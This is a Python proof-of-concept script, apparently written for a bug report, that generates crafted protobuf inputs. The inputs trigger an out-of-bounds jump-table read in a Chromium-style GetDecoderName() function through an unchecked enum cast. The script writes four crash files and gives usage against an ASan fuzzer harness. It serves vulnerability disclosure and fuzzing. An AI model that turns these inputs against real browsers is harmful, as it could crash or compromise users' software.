#!/usr/bin/env python3
"""
PoC generator for global-buffer-overflow in media::GetDecoderName() triggered
via unchecked static_cast in ConvertProtoToPipelineStatistics().

VULNERABILITY:
ConvertProtoToPipelineStatistics() in media/cast/openscreen/remoting_proto_utils.cc
uses static_cast<media::AudioDecoderType>(audio_info.decoder_type()) and
static_cast<media::VideoDecoderType>(video_info.decoder_type()) WITHOUT
bounds checking. The proto field decoder_type is int64, but AudioDecoderType
has valid values 0-10 and VideoDecoderType has valid values 0-19.

When the tainted enum value reaches GetDecoderName() (media/base/decoder.cc),
the switch statement (which has NO default case) is compiled as a jump table.
Out-of-range values index beyond the table boundaries, causing a
global-buffer-overflow (OOB read of jump table in .rodata).

ASan CRASH TYPE: global-buffer-overflow
"""

import os


def encode_varint(value):
    """Encode an integer as a protobuf varint."""
    if value < 0:
        value = value + (1 << 64)
    result = bytearray()
    while value > 0x7F:
        result.append((value & 0x7F) | 0x80)
        value >>= 7
    result.append(value & 0x7F)
    return bytes(result)


def encode_varint_field(field_number, value):
    """Encode a varint field (wire type 0)."""
    tag = (field_number << 3) | 0
    return encode_varint(tag) + encode_varint(value)


def encode_submessage_field(field_number, submessage_bytes):
    """Encode a length-delimited field (wire type 2)."""
    tag = (field_number << 3) | 2
    return encode_varint(tag) + encode_varint(len(submessage_bytes)) + submessage_bytes


# Selector byte: 0x03 → case 3 in fuzzer (PipelineStatistics path)
PIPELINE_STATS_SELECTOR = bytes([0x03])


def gen_poc_audio_decoder_type_oob(value):
    """
    PipelineStatistics with AudioDecoderInfo.decoder_type set to out-of-range
    value. AudioDecoderType valid range is 0-10 (kMaxValue = kSymphonia = 10).

    Proto layout:
      PipelineStatistics {
        audio_decoder_info (field 8, submessage) {
          decoder_type (field 1, int64) = <value>
          is_platform_decoder (field 2, bool) = true
        }
      }
    """
    audio_info = encode_varint_field(1, value) + encode_varint_field(2, 1)
    msg = encode_submessage_field(8, audio_info)
    return PIPELINE_STATS_SELECTOR + msg


def gen_poc_video_decoder_type_oob(value):
    """
    PipelineStatistics with VideoDecoderInfo.decoder_type set to out-of-range
    value. VideoDecoderType valid range is 0-19 (kMaxValue = kVideoToolbox = 19).

    Proto layout:
      PipelineStatistics {
        video_decoder_info (field 9, submessage) {
          decoder_type (field 1, int64) = <value>
          is_platform_decoder (field 2, bool) = true
        }
      }
    """
    video_info = encode_varint_field(1, value) + encode_varint_field(2, 1)
    msg = encode_submessage_field(9, video_info)
    return PIPELINE_STATS_SELECTOR + msg


def gen_poc_both_oob(audio_value, video_value):
    """Both audio and video decoder types set to out-of-range values."""
    audio_info = encode_varint_field(1, audio_value) + encode_varint_field(2, 1)
    video_info = encode_varint_field(1, video_value) + encode_varint_field(2, 1)
    msg = encode_submessage_field(8, audio_info) + encode_submessage_field(9, video_info)
    return PIPELINE_STATS_SELECTOR + msg


if __name__ == "__main__":
    out_dir = os.path.dirname(os.path.abspath(__file__))

    pocs = [
        ("poc_pipeline_stats_oob.bin",
         gen_poc_both_oob(9999, 8888),
         "Audio=9999 Video=8888 → global-buffer-overflow in GetDecoderName"),

        ("poc_pipeline_stats_maxint.bin",
         gen_poc_audio_decoder_type_oob(0x7FFFFFFF),
         "Audio=INT_MAX → SEGV in GetDecoderName (jump to arbitrary address)"),

        ("poc_pipeline_stats_neg.bin",
         gen_poc_audio_decoder_type_oob(-1),
         "Audio=-1 → SEGV in GetDecoderName (negative index into jump table)"),

        ("poc_pipeline_stats_video_oob.bin",
         gen_poc_video_decoder_type_oob(5000),
         "Video=5000 → SEGV/null-deref in GetDecoderName(VideoDecoderType)"),
    ]

    for filename, data, desc in pocs:
        path = os.path.join(out_dir, filename)
        with open(path, "wb") as f:
            f.write(data)
        print(f"[+] Generated {filename} ({len(data)} bytes) - {desc}")

    print(f"\n[+] All {len(pocs)} PoC files generated in {out_dir}")
    print("\nUsage:")
    print("  autoninja -C out/ASan remoting_proto_utils_fuzzer")
    print("  ./out/ASan/remoting_proto_utils_fuzzer AI_Fuzzer/poc_pipeline_stats_oob.bin")
    print("\nExpected ASan output:")
    print("  ==PID==ERROR: AddressSanitizer: global-buffer-overflow on address ...")
    print("  READ of size 8 at ... thread T0")
    print("  SUMMARY: AddressSanitizer: global-buffer-overflow media/base/decoder.cc:63:3")
